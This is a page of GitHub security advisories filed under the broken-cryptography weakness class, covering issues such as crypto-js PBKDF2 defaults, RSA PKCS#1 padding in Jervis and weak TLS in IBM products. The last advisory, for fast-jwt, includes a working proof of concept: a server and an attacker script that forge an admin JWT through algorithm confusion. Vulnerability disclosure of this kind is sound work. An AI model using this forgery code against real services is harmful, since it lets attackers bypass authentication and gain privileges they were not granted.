CWE-327
Allowed-with-ReviewUse of a Broken or Risky Cryptographic Algorithm
Abstraction: Class · Status: Draft
The product uses a broken or risky cryptographic algorithm or protocol.
961 vulnerabilities reference this CWE, most recent first.
GHSA-MP8X-XFVP-M4VH
Vulnerability from github – Published: 2025-03-28 18:33 – Updated: 2025-03-28 18:33A vulnerability was found in Netis WF-2404 1.1.124EN. It has been rated as problematic. This issue affects some unknown processing of the file /еtc/passwd. The manipulation leads to use of weak hash. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-2920"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T18:15:17Z",
"severity": "LOW"
},
"details": "A vulnerability was found in Netis WF-2404 1.1.124EN. It has been rated as problematic. This issue affects some unknown processing of the file /\u0435tc/passwd. The manipulation leads to use of weak hash. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-mp8x-xfvp-m4vh",
"modified": "2025-03-28T18:33:37Z",
"published": "2025-03-28T18:33:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2920"
},
{
"type": "WEB",
"url": "https://scoozi.substack.com/p/hacking-a-netis-wf-2404-router-cont"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.301895"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.301895"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.521037"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MPJ8-Q39X-WQ5H
Vulnerability from github – Published: 2023-10-25 21:14 – Updated: 2023-11-08 17:43Impact
Summary
Crypto-js PBKDF2 is 1,000 times weaker than originally specified in 1993, and at least 1,300,000 times weaker than current industry standard. This is because it both (1) defaults to SHA1, a cryptographic hash algorithm considered insecure since at least 2005 and (2) defaults to one single iteration, a 'strength' or 'difficulty' value specified at 1,000 when specified in 1993. PBKDF2 relies on iteration count as a countermeasure to preimage and collision attacks. Remediation of this issue might be very difficult, as the changes required to fix this issue would change the output of this method and thus break most, if not all, current uses of this method as configured by default.
Potential Impact:
- If used to protect passwords, the impact is high.
- If used to generate signatures, the impact is high.
Probability / risk analysis / attack enumeration:
- [For at most $45,000][SHA1 is a Shambles], an attacker, given control of only the beginning of a crypto-js PBKDF2 input, can create a value which has identical cryptographic signature to any chosen known value.
- Due to the length extension attack on SHA1, we can create a value that has identical signature to any unknown value, provided it is prefixed by a known value. It does not matter if PBKDF2 applies 'salt' or 'pepper' or any other secret unknown to the attacker. It will still create an identical signature.
[SHA1 is a Shambles]: https://eprint.iacr.org/2020/014.pdf "SHA-1 is a Shambles: First Chosen-Prefix Collision on SHA-1 and Application to the PGP Web of Trust, Gaëtan Leurent and Thomas Peyrin"
crypto-js has 10,642 public users as displayed on NPM, today October 11th 2023. The number of transient dependents is likely several orders of magnitude higher.
A very rough GitHub search shows 432 files cross GitHub using PBKDF2 in crypto-js in Typescript or JavaScript, but not specifying any number of iterations.
Affected versions
All versions are impacted. This code has been the same since crypto-js was first created.
Further Cryptanalysis
The issue here is especially egregious because the length extension attack makes useless any secret that might be appended to the plaintext before calculating its signature.
Consider a scheme in which a secret is created for a user's username, and that secret is used to protect e.g. their passwords. Let's say that password is 'fake-password', and their username is 'example-username'.
To encrypt the user password via symmetric encryption we might do encrypt(plaintext: 'fake-password', encryption_key: cryptojs.pbkdf2(value: 'example username' + salt_or_pepper)). By this means, we would, in theory, create an encryption_key that can be determined from the public username, but which requires the secret salt_or_pepper to generate. This is a common scheme for protecting passwords, as exemplified in bcrypt & scrypt. Because the encryption key is symmetric, we can use this derived key to also decrypt the ciphertext.
Because of the length extension issue, if the attacker obtains (via attack 1), a collision with 'example username', the attacker does not need to know salt_or_pepper to decrypt their account data, only their public username.
Description
PBKDF2 is a key-derivation function that is used for two main purposes: (1) to stretch or squash a variable length password's entropy into a fixed size for consumption by another cryptographic operation and (2) to reduce the chance of downstream operations recovering the password input (for example, for password storage).
Unlike the modern webcrypto standard, crypto-js does not throw an error when a number of iterations is not specified, and defaults to one single iteration. In the year 1993, when PBKDF2 was originally specified, the minimum number of iterations suggested was set at 1,000. Today, OWASP recommends 1,300,000:
https://github.com/entronad/crypto-es/blob/aa48d48413549addc06cd737a272466d5fc1b5e6/lib/pbkdf2.js#L35-L39
Workarounds
Consult the OWASP PBKDF2 Cheatsheet. Configure to use SHA256 with at least 250,000 iterations.
Coordinated disclosure
This issue was simultaneously submitted to crypto-js and crypto-es on the 23rd of October 2023.
Caveats
This issue was found in a security review that was not scoped to crypto-es. This report is not an indication that crypto-es has undergone a formal security assessment by the author.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "crypto-es"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46133"
],
"database_specific": {
"cwe_ids": [
"CWE-327",
"CWE-328",
"CWE-916"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-25T21:14:44Z",
"nvd_published_at": "2023-10-25T21:15:10Z",
"severity": "CRITICAL"
},
"details": "### Impact\n#### Summary\nCrypto-js PBKDF2 is 1,000 times weaker than originally specified in 1993, and [at least 1,300,000 times weaker than current industry standard][OWASP PBKDF2 Cheatsheet]. This is because it both (1) defaults to [SHA1][SHA1 wiki], a cryptographic hash algorithm considered insecure [since at least 2005][Cryptanalysis of SHA-1] and (2) defaults to [one single iteration][one iteration src], a \u0027strength\u0027 or \u0027difficulty\u0027 value specified at 1,000 when specified in 1993. PBKDF2 relies on iteration count as a countermeasure to [preimage][preimage attack] and [collision][collision attack] attacks. Remediation of this issue might be very difficult, as the changes required to fix this issue would change the output of this method and thus break most, if not all, current uses of this method as configured by default.\n\nPotential Impact:\n\n1. If used to protect passwords, the impact is high.\n2. If used to generate signatures, the impact is high.\n\nProbability / risk analysis / attack enumeration:\n\n1. [For at most $45,000][SHA1 is a Shambles], an attacker, given control of only the beginning of a crypto-js PBKDF2 input, can create a value which has _identical cryptographic signature_ to any chosen known value.\n4. Due to the [length extension attack] on SHA1, we can create a value that has identical signature to any _unknown_ value, provided it is prefixed by a known value. It does not matter if PBKDF2 applies \u0027[salt][cryptographic salt]\u0027 or \u0027[pepper][cryptographic pepper]\u0027 or any other secret unknown to the attacker. It will still create an identical signature.\n\n[cryptographic salt]: https://en.wikipedia.org/wiki/Salt_(cryptography) \"Salt (cryptography), Wikipedia\"\n[cryptographic pepper]: https://en.wikipedia.org/wiki/Pepper_(cryptography) \"Pepper (cryptography), Wikipedia\"\n[SHA1 wiki]: https://en.wikipedia.org/wiki/SHA-1 \"SHA-1, Wikipedia\"\n[Cryptanalysis of SHA-1]: https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html \"Cryptanalysis of SHA-1\"\n[one iteration src]: https://github.com/brix/crypto-js/blob/1da3dabf93f0a0435c47627d6f171ad25f452012/src/pbkdf2.js#L22-L26 \"crypto-js/src/pbkdf2.js lines 22-26\"\n[collision attack]: https://en.wikipedia.org/wiki/Hash_collision \"Collision Attack, Wikipedia\"\n[preimage attack]: https://en.wikipedia.org/wiki/Preimage_attack \"Preimage Attack, Wikipedia\"\n[SHA1 is a Shambles]: https://eprint.iacr.org/2020/014.pdf \"SHA-1 is a Shambles: First Chosen-Prefix Collision on SHA-1\nand Application to the PGP Web of Trust, Ga\u00ebtan Leurent and Thomas Peyrin\"\n[Length Extension attack]: https://en.wikipedia.org/wiki/Length_extension_attack \"Length extension attack, Wikipedia\"\n\ncrypto-js has 10,642 public users [as displayed on NPM][crypto-js, NPM], today October 11th 2023. The number of transient dependents is likely several orders of magnitude higher.\n\nA very rough GitHub search[ shows 432 files][GitHub search: affected files] cross GitHub using PBKDF2 in crypto-js in Typescript or JavaScript, but not specifying any number of iterations.\n\n[OWASP PBKDF2 Cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#pbkdf2 \"OWASP PBKDF2 Cheatsheet\"\n[crypto-js, NPM]: https://www.npmjs.com/package/crypto-js \"crypto-js on NPM\"\n[GitHub search: affected files]: https://github.com/search?q=%22crypto-js%22+AND+pbkdf2+AND+%28lang%3AJavaScript+OR+lang%3ATypeScript%29++NOT+%22iterations%22\u0026type=code\u0026p=2 \"GitHub search: crypto-js AND pbkdf2 AND (lang:JavaScript OR lang:TypeScript) NOT iterations\"\n\n#### Affected versions\nAll versions are impacted. This code has been the same since crypto-js was first created.\n\n#### Further Cryptanalysis\n\nThe issue here is especially egregious because the length extension attack makes useless any secret that might be appended to the plaintext before calculating its signature.\n\nConsider a scheme in which a secret is created for a user\u0027s username, and that secret is used to protect e.g. their passwords. Let\u0027s say that password is \u0027fake-password\u0027, and their username is \u0027example-username\u0027.\n\nTo encrypt the user password via symmetric encryption we might do `encrypt(plaintext: \u0027fake-password\u0027, encryption_key: cryptojs.pbkdf2(value: \u0027example username\u0027 + salt_or_pepper))`. By this means, we would, in theory, create an `encryption_key` that can be determined from the public username, but which requires the secret `salt_or_pepper` to generate. This is a common scheme for protecting passwords, as exemplified in bcrypt \u0026 scrypt. Because the encryption key is symmetric, we can use this derived key to also decrypt the ciphertext.\n\nBecause of the length extension issue, if the attacker obtains (via attack 1), a collision with \u0027example username\u0027, the attacker _does not need to know_ `salt_or_pepper` to decrypt their account data, only their public username.\n\n### Description\n\nPBKDF2 is a key-derivation function that is used for two main purposes: (1) to stretch or squash a variable length password\u0027s entropy into a fixed size for consumption by another cryptographic operation and (2) to reduce the chance of downstream operations recovering the password input (for example, for password storage).\n\nUnlike the modern [webcrypto](https://w3c.github.io/webcrypto/#pbkdf2-operations) standard, crypto-js does not throw an error when a number of iterations is not specified, and defaults to one single iteration. In the year 1993, when PBKDF2 was originally specified, the minimum number of iterations suggested was set at 1,000. Today, [OWASP recommends 1,300,000][OWASP PBKDF2 Cheatsheet]:\n\nhttps://github.com/entronad/crypto-es/blob/aa48d48413549addc06cd737a272466d5fc1b5e6/lib/pbkdf2.js#L35-L39\n\n### Workarounds\nConsult the [OWASP PBKDF2 Cheatsheet]. Configure to use SHA256 with at least 250,000 iterations.\n\n### Coordinated disclosure\nThis issue was simultaneously submitted to [crypto-js](https://github.com/brix/crypto-js) and [crypto-es](https://github.com/entronad/crypto-es) on the 23rd of October 2023.\n\n### Caveats\n\nThis issue was found in a security review that was _not_ scoped to crypto-es. This report is not an indication that crypto-es has undergone a formal security assessment by the author.\n\n\n",
"id": "GHSA-mpj8-q39x-wq5h",
"modified": "2023-11-08T17:43:32Z",
"published": "2023-10-25T21:14:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/entronad/crypto-es/security/advisories/GHSA-mpj8-q39x-wq5h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46133"
},
{
"type": "WEB",
"url": "https://github.com/entronad/crypto-es/commit/d506677fae3d03a454b37ad126e0c119d416b757"
},
{
"type": "PACKAGE",
"url": "https://github.com/entronad/crypto-es"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "crypto-es PBKDF2 1,000 times weaker than specified in 1993 and 1.3M times weaker than current standard"
}
GHSA-MPMC-QCHH-R9Q8
Vulnerability from github – Published: 2025-12-08 21:30 – Updated: 2025-12-12 19:39A cryptanalytic break in Altcha Proof-of-Work obfuscation mode version 0.8.0 and later allows for remote visitors to recover the Proof-of-Work nonce in constant time via mathematical deduction.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "altcha"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"last_affected": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65849"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-09T14:26:12Z",
"nvd_published_at": "2025-12-08T19:15:50Z",
"severity": "MODERATE"
},
"details": "A cryptanalytic break in Altcha Proof-of-Work obfuscation mode version 0.8.0 and later allows for remote visitors to recover the Proof-of-Work nonce in constant time via mathematical deduction.",
"id": "GHSA-mpmc-qchh-r9q8",
"modified": "2025-12-12T19:39:35Z",
"published": "2025-12-08T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65849"
},
{
"type": "WEB",
"url": "https://altcha.org/docs/v2/obfuscation"
},
{
"type": "PACKAGE",
"url": "https://github.com/altcha-org/altcha"
},
{
"type": "WEB",
"url": "https://github.com/altcha-org/altcha/blob/154f874cbcdd4e639783463130d13988a2bd1bdc/src/helpers.ts#L170-L194"
},
{
"type": "WEB",
"url": "https://github.com/eternal-flame-AD/altcha-deobfs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Altcha Proof-of-Work obfuscation mode cryptanalytic break"
}
GHSA-MPXJ-6C39-W4RR
Vulnerability from github – Published: 2026-03-05 15:30 – Updated: 2026-03-18 21:32Use of a Broken or Risky Cryptographic Algorithm vulnerability in rustdesk-client RustDesk Client rustdesk-client on Windows, MacOS, Linux, iOS, Android, WebClient (Config import, URI scheme handler, CLI --config modules) allows Retrieve Embedded Sensitive Data. This vulnerability is associated with program files flutter/lib/common.Dart, hbb_common/src/config.Rs and program routines parseRustdeskUri(), importConfig().
This issue affects RustDesk Client: through 1.4.5.
{
"affected": [],
"aliases": [
"CVE-2026-30791"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T15:16:14Z",
"severity": "HIGH"
},
"details": "Use of a Broken or Risky Cryptographic Algorithm vulnerability in rustdesk-client RustDesk Client rustdesk-client on Windows, MacOS, Linux, iOS, Android, WebClient (Config import, URI scheme handler, CLI --config modules) allows Retrieve Embedded Sensitive Data. This vulnerability is associated with program files flutter/lib/common.Dart, hbb_common/src/config.Rs and program routines parseRustdeskUri(), importConfig().\n\nThis issue affects RustDesk Client: through 1.4.5.",
"id": "GHSA-mpxj-6c39-w4rr",
"modified": "2026-03-18T21:32:57Z",
"published": "2026-03-05T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30791"
},
{
"type": "WEB",
"url": "https://docs.google.com/document/d/e/2PACX-1vSds6jjpd38oO_yIAyd1HYtKNUuea-I-ozAPpGhYI7QgAU-QGJ7D8a4rOZVj1vmiUXV1EcdRHf9aZAW/pub"
},
{
"type": "WEB",
"url": "https://rustdesk.com/docs/en/client"
},
{
"type": "WEB",
"url": "https://www.vulsec.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MQW7-C5GG-XQ97
Vulnerability from github – Published: 2026-01-13 14:28 – Updated: 2026-01-21 16:21Vulnerability
https://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L463-L465
https://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L495-L497
Uses PKCS1Encoding which is vulnerable to Bleichenbacher padding oracle attacks. Modern systems should use OAEP (Optimal Asymmetric Encryption Padding).
Impact
Severity is considered low for internal uses of this library but if there's any consumer using these methods directly then this is considered critical.
An attacker with access to a decryption oracle (e.g., timing differences or error messages) could potentially decrypt ciphertext without knowing the private key.
Jervis uses RSA to encrypt AES keys in local-only storage inaccessible from the web. The data stored is GitHub App authentication tokens which will expire within one hour or less.
Patches
Jervis patch will migrate from PKCS1Encoding to OAEPEncoding.
Upgrade to Jervis 2.2.
Workarounds
None
References
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "net.gleske:jervis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68698"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T14:28:57Z",
"nvd_published_at": "2026-01-13T20:16:07Z",
"severity": "HIGH"
},
"details": "### Vulnerability\n\nhttps://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L463-L465\n\nhttps://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L495-L497\n\nUses `PKCS1Encoding` which is vulnerable to Bleichenbacher padding oracle attacks. Modern systems should use OAEP (Optimal Asymmetric Encryption Padding).\n\n### Impact\n\nSeverity is considered low for internal uses of this library but if there\u0027s any consumer using these methods directly then this is considered critical.\n\nAn attacker with access to a decryption oracle (e.g., timing differences or error messages) could potentially decrypt ciphertext without knowing the private key.\n\nJervis uses RSA to encrypt AES keys in local-only storage inaccessible from the web. The data stored is GitHub App authentication tokens which will expire within one hour or less.\n\n### Patches\n\nJervis patch will migrate from `PKCS1Encoding` to `OAEPEncoding`.\n\nUpgrade to Jervis 2.2.\n\n### Workarounds\n\nNone\n\n### References\n\n- [Bleichenbacher\u0027s Attack on PKCS#1](https://en.wikipedia.org/wiki/Adaptive_chosen-ciphertext_attack)",
"id": "GHSA-mqw7-c5gg-xq97",
"modified": "2026-01-21T16:21:14Z",
"published": "2026-01-13T14:28:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/samrocketman/jervis/security/advisories/GHSA-mqw7-c5gg-xq97"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68698"
},
{
"type": "WEB",
"url": "https://github.com/samrocketman/jervis/commit/c3981ff71de7b0f767dfe7b37a2372cb2a51974a"
},
{
"type": "PACKAGE",
"url": "https://github.com/samrocketman/jervis"
},
{
"type": "WEB",
"url": "https://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L463-L465"
},
{
"type": "WEB",
"url": "https://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L495-L497"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jervis Has a RSA PKCS#1 Padding Vulnerability"
}
GHSA-MR22-C455-3H5P
Vulnerability from github – Published: 2025-04-14 21:32 – Updated: 2025-04-14 21:32IBM Aspera Console 3.4.0 through 3.4.4
uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
{
"affected": [],
"aliases": [
"CVE-2022-43851"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-14T21:15:17Z",
"severity": "MODERATE"
},
"details": "IBM Aspera Console 3.4.0 through 3.4.4\n\nuses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.",
"id": "GHSA-mr22-c455-3h5p",
"modified": "2025-04-14T21:32:24Z",
"published": "2025-04-14T21:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43851"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7169766"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR7V-7FHQ-M8F2
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 could provide weaker than expected security, caused by the improper TLS configuration. A remote attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques. IBM X-Force ID: 154650.
{
"affected": [],
"aliases": [
"CVE-2018-1996"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-19T17:29:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 could provide weaker than expected security, caused by the improper TLS configuration. A remote attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques. IBM X-Force ID: 154650.",
"id": "GHSA-mr7v-7fhq-m8f2",
"modified": "2022-05-13T01:19:50Z",
"published": "2022-05-13T01:19:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1996"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/154650"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10793421"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107155"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MRGM-RP63-HXMR
Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2022-05-13 01:45VMware vSphere Data Protection (VDP) 6.1.x, 6.0.x, 5.8.x, and 5.5.x locally stores vCenter Server credentials using reversible encryption. This issue may allow plaintext credentials to be obtained.
{
"affected": [],
"aliases": [
"CVE-2017-4917"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-07T17:29:00Z",
"severity": "CRITICAL"
},
"details": "VMware vSphere Data Protection (VDP) 6.1.x, 6.0.x, 5.8.x, and 5.5.x locally stores vCenter Server credentials using reversible encryption. This issue may allow plaintext credentials to be obtained.",
"id": "GHSA-mrgm-rp63-hxmr",
"modified": "2022-05-13T01:45:58Z",
"published": "2022-05-13T01:45:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-4917"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98936"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038617"
},
{
"type": "WEB",
"url": "http://www.vmware.com/security/advisories/VMSA-2017-0010.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MVF2-F6GM-W987
Vulnerability from github – Published: 2026-04-02 20:37 – Updated: 2026-04-07 17:06Summary
The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.
Details
The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a plain string used with .includes() to a regex used with .match():
// Before fix (vulnerable to original CVE)
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
// .includes() matched anywhere in the string — not vulnerable to whitespace
// After fix (current code, line 28)
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
// ^ anchor requires match at position 0 — defeated by leading whitespace
In performDetectPublicKeyAlgorithms()
(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):
function performDetectPublicKeyAlgorithms(key) {
const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!
if (key.match(privateKeyPemMatcher)) {
throw ...
} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms
} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
return hsAlgorithms // ← VULNERABLE: RSA key falls through here
}
When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the HMAC secret — the exact same attack as CVE-2023-48223.
Notably, the private key detection function does call .trim() before matching https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79: const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable
The public key path does not. This inconsistency is the root cause.
Leading whitespace in PEM key strings is common in real-world deployments: - PostgreSQL/MySQL text columns often return strings with leading newlines - YAML multiline strings (|, >) can introduce leading whitespace - Environment variables with embedded newlines - Copy-paste into configuration files
PoC
Victim server (server.js):
const http = require('node:http');
const { generateKeyPairSync } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const { createSigner, createVerifier } = require('fast-jwt');
const port = 3000;
// Generate RSA key pair
const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });
// Simulate real-world scenario: key retrieved from database with leading newline
const publicKeyFromDB = '\n' + publicKeyPem;
// Write public key to disk so attacker can recover it
fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${port}`);
// Endpoint to generate a JWT token with admin: false
if (url.pathname === '/generateToken') {
const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
const token = signSync(payload);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ token }));
return;
}
// Endpoint to check if you are the admin or not
if (url.pathname === '/checkAdmin') {
const token = url.searchParams.get('token');
try {
const verifySync = createVerifier({ key: publicKeyFromDB });
const payload = verifySync(token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(payload));
} catch (err) {
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: err.message }));
}
return;
}
res.writeHead(404);
res.end('Not found');
});
server.listen(port, () => console.log(`Server running on http://localhost:${port}`));
Attacker script (attacker.js):
const { createHmac } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const serverUrl = 'http://localhost:3000';
async function main() {
// Step 1: Get a legitimate token
const res = await fetch(`${serverUrl}/generateToken?name=attacker`);
const { token: legitimateToken } = await res.json();
console.log('Legitimate token payload:',
JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));
// Step 2: Recover the public key
// (In the original advisory: python3 jwt_forgery.py token1 token2)
const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');
// Step 3: Forge an HS256 token with admin: true
// (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({
admin: true, name: 'attacker',
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
})).toString('base64url');
const signature = createHmac('sha256', publicKey)
.update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + signature;
// Step 4: Present forged token to /checkAdmin
// 4a. Legitimate RS256 token — REJECTED
const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);
console.log('Legitimate RS256 token:', legRes.status, await legRes.json());
// 4b. Forged HS256 token — ACCEPTED
const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);
console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());
}
main().catch(console.error);
Running the PoC: # Terminal 1 node server.js
# Terminal 2 node attacker.js
